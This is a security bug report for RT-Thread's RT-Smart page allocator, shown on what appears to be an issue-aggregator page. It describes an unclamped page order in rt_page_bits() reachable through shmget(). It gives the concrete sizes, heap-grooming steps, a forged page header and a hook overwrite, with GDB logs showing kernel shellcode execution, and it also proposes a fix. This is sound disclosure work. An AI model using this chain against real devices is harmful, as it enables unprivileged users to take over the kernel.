[Bug] [Smart] mm: rt_page_bits() never clamps to RT_PAGE_MAX_ORDER — oversized shmget(size) indexes buddy lists out of bounds, groomable to arbitrary kernel write and kernel code execution
維護者通常 2 天內回覆
還沒有人認領這個 Issue。
評估
- 難度
- 4/5
- 預估耗時
- 3-5 天
- 新手友好度
- 36/100
- Issue 類型
- 缺陷
- 描述清晰度
- 描述清楚
- 活躍度
- 活躍
- 技術堆疊
- c, operating-systems
研究方向
Start with components/mm/mm_page.c, especially rt_page_bits() and the _pages_alloc/__pages_alloc paths; trace how the order reaches the buddy-list index. Check the RT-Smart shmget() path for size bounds, then reproduce with the stated 4 MiB+1 case on the QEMU AArch64 setup. Done means oversized requests fail before page-list access and valid allocations still work.
由索引模型根據 Issue 內容生成。
描述
RT-Thread Version
master fbdb9711db8be41fe84f92a2f983c048c11f9a47 (2026-11-30 tip). Introduced by 7450ef6c4d71 (2023-01-09, RT-Smart MM layer #6809). First affected release: v5.0.0; verified still present on v5.0.0–v5.3.0 and current master, and on branches v5.0.x / v5.1.x / lts-v5.2.x / v4.0.x / lts-v4.1.x (rt_page_bits() has no order clamp in any of them).
Affected area
Memory management — components/mm/mm_page.c (RT-Smart MMU page allocator)
Hardware-BSP vendor
QEMU
Architecture
AArch64 (ARM)
Board and hardware details
qemu-virt64-aarch64, QEMU virt machine, 1 CPU, 128 MiB, RT-Smart (RT_USING_SMART=y + System V shm), virtio-blk rootfs, GICv2. Reproduced on a kernel rebuilt from current master tip.
Develop Toolchain
aarch64-linux-musleabi gcc 7.3 (scons), QEMU 9.2.3
Describe the bug
rt_page_bits() (components/mm/mm_page.c:453) returns a page order computed from a caller-supplied size with only a lower clamp (bit < 0 → 0). It never rejects orders above RT_PAGE_MAX_ORDER (11). _pages_alloc/__pages_alloc use the returned size_bits directly as a buddy-list index (_get_pgls_head(agr_pgls, affid, size_bits) → agr_pgls[size_bits]), and the only guards are RT_ASSERT(size_bits < RT_PAGE_MAX_ORDER) — compiled out in release builds. shmget() passes an unbounded user size into this path, so an unprivileged RT-Smart process indexes the static buddy-list array out of bounds with a fully controlled offset.
Two concrete outcomes, both reproduced:
- DoS:
shmget(key, 4MiB+1)→size_bits=11→page_list_low[11]aliasespage_list_high[0](NULL) →_page_remove(NULL, ...)readsp->preat0x8:
shmget: mode=attack size=0x400001
Data abort
fault addr = 0x0000000000000008
abort caused by read instruction
- Arbitrary write → kernel code execution:
shmget(key, 1<<49)→size_bits=37→page_list_low[37]lands exactly on the adjacent static_last_allocpointer. The PoC first allocates two legal 4 KiB shm segments so_last_allocpoints at a user-mapped page, then forges astruct rt_pageheader there (pre/nextattacker-chosen). The oversizedshmgetmakes_page_remove()run the list unlink on the forged page — two arbitrary kernel writes — and returns the forged page as a valid allocation. The PoC uses the writes to redirectrt_object_take_hookinto an AArch64 stub placed inside the controlled page, then triggers the hook with a publicsem_take()syscall. GDB on the rebuilt master-tip kernel:
[oversized shmget] _last_alloc(OOB slot)=0xffff0000045e0000 pointee:
0xffff0000045e0000: 0x4148434b44455f4d 0xffff0000002ba078 <- attacker-written fake rt_page header
[CRAFT-HIT] arbitrary kernel write: rt_object_put_hook now = 0x4148434b44455f4d
#0 _page_remove (page_head=0xffff0000001f7f70 <_last_alloc>, p=0xffff0000045e0000, size_bits=37) mm_page.c:548
#1 __pages_alloc (agr_pgls=0xffff0000001f7e48 <page_list_low>, size_bits=37, ...)
#5 rt_pages_alloc_ext (size_bits=37, ...)
#6 _lwp_shmget (size=562949953421312)
[PWN-1] sem-take hook armed: rt_object_take_hook = 0xffff0000045e0100 (attacker kernel page)
[PWN-2] EXECUTION at attacker-controlled kernel page 0xffff0000045e0100:
=> 0xffff0000045e0100: b 0xffff0000045e0120 <- attacker shellcode bytes, kernel mode
[PWN-body] attacker shellcode BODY reached at 0x45e0120:
mov x0, #0xa078 / movk x0, #0x2ba, lsl #16 / movk x0, #0xffff, lsl #48
mov x1, #0x5f4d / movk ... <- stub builds & writes marker
Steps to reproduce (all official POSIX APIs from an unprivileged process: shmget/shmat/sem_create/sem_take):
- Build
qemu-virt64-aarch64with RT-Smart enabled (stock Smart configuration). - Run the attached PoC modes from msh:
control(size=4 MiB): returns normally, system alive;attack(size=4 MiB+1): kernel Data abort at fault address0x8, reproducible on every boot;craft(size=1<<49, groomed):_page_removeperforms attacker-directed writes into kernel globals;pwn(size=1<<49, groomed + stub):rt_object_take_hookis overwritten with the address of an attacker page and the kernel fetches and executes attacker bytes there.
Note for anyone re-running: on current master rt_mutex_take() no longer calls rt_object_take_hook — the hook trigger in the reproducer uses sem_create/sem_take (src/ipc.c:642).
Expected: shmget() with a size that maps to an order ≥ RT_PAGE_MAX_ORDER must fail with an error before any page-list indexing (the same clamp rt_page_bits() callers need everywhere).
Actual: the out-of-range order indexes static kernel state out of bounds; with small grooming this yields arbitrary kernel writes and kernel-mode execution of attacker bytes from an unprivileged user process.
Other additional context
- CVSS 3.1:
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 8.8 (Critical). Preconditions stated explicitly: RT-Smart (MMU) build with System V shm reachable by an unprivileged local process — the default shape for RT-Smart products. - CWE-190 (integer/range error on the page order) → CWE-787 (OOB write via buddy-list unlink) → CWE-822/CD (untrusted pointer as kernel instruction source).
- Dedup check (2026-12-02): GitHub issue/PR search for
shmget/rt_page_bits/ page-order overflow returns no prior report; not covered by any of the existing mm-related issues. All maintenance branches (v5.0.x, v5.1.x, lts-v5.2.x, v4.0.x, lts-v4.1.x) still contain the unclampedrt_page_bits(). - Fix suggestion (two lines): reject orders past the array in
rt_pages_allocpaths — e.g. clamp/fail inrt_page_bits()itself (if (bit >= RT_PAGE_MAX_ORDER) return -RT_ERROR;semantics for callers) and turn theRT_ASSERT(size_bits < RT_PAGE_MAX_ORDER)guards at mm_page.c:484/615 into unconditional runtime checks that return an allocation failure.shmget()should additionally boundsizeto the shm size limit before calling the page allocator.
- 主要語言
- C
- 星號
- 12.4k
- 分支
- 5.5k
- 平均合併
- 3 天 13 小時
- 30 天內合併 PR
- 73
環境準備
在瀏覽器裡用你自己的 GitHub 帳號啟動這個專案的開發容器。
- 沒有 Dockerfile 或 Docker Compose 檔案
- 有 Pull Request 範本
- 閱讀貢獻指南
從這裡開始
- 先讀完整個 Issue,再讀專案的貢獻指南。
- 在 Issue 下留言說明你要接手 —— 這能避免兩個人做同樣的事。
- Fork 儲存庫,在一個分支上完成修改。
- 送出 Pull Request,並在描述裡引用這個 Issue 編號。
RT-Thread/rt-thread 的其他 Issue
-
[Bug] Out-of-bounds stack read and callback signature mismatch in TM4C123 ADC driver (drv_adc.c)未關閉bug Component component: drivers
難度 2/5 1-3 小時 新手友好度 74/100
RT-Thread/rt-thread#12118 · 1 則留言 ·
維護者通常 2 天內回覆
-
BSP BSP: NXP bug Component component: drivers
難度 2/5 1-3 小時 新手友好度 76/100
RT-Thread/rt-thread#12117 · 1 則留言 ·
維護者通常 2 天內回覆
-
BSP BSP: GD32 bug Component component: drivers
難度 2/5 1-3 小時 新手友好度 74/100
RT-Thread/rt-thread#12115 · 1 則留言 ·
維護者通常 2 天內回覆
-
Arch: ARM/AArch64 BSP BSP: GD32 bug Component component: drivers
難度 2/5 1-3 小時 新手友好度 66/100
RT-Thread/rt-thread#12109 · 5 則留言 ·
維護者通常 2 天內回覆
-
action bug
難度 2/5 1-3 小時 新手友好度 78/100
RT-Thread/rt-thread#12106 · 1 則留言 ·
維護者通常 2 天內回覆
查看 RT-Thread/rt-thread 的全部 Issue
相似的 Issue
-
難度 2/5 1-3 小時 新手友好度 76/100
signalwire/freeswitch#3329 ·
維護者通常 1 天內回覆
-
難度 1/5 1 小時以內 新手友好度 82/100
維護者通常 1 天內回覆
-
Status: Opened
難度 2/5 1-3 小時 新手友好度 83/100
espressif/esp-protocols#1224 ·
維護者通常 1 天內回覆
-
難度 2/5 1-3 小時 新手友好度 83/100
維護者通常 1 天內回覆
-
bot-triaged module: bfloat16 module: cuda module: half module: numerical-stability triage review
難度 2/5 1-3 小時 新手友好度 77/100
維護者通常 1 天內回覆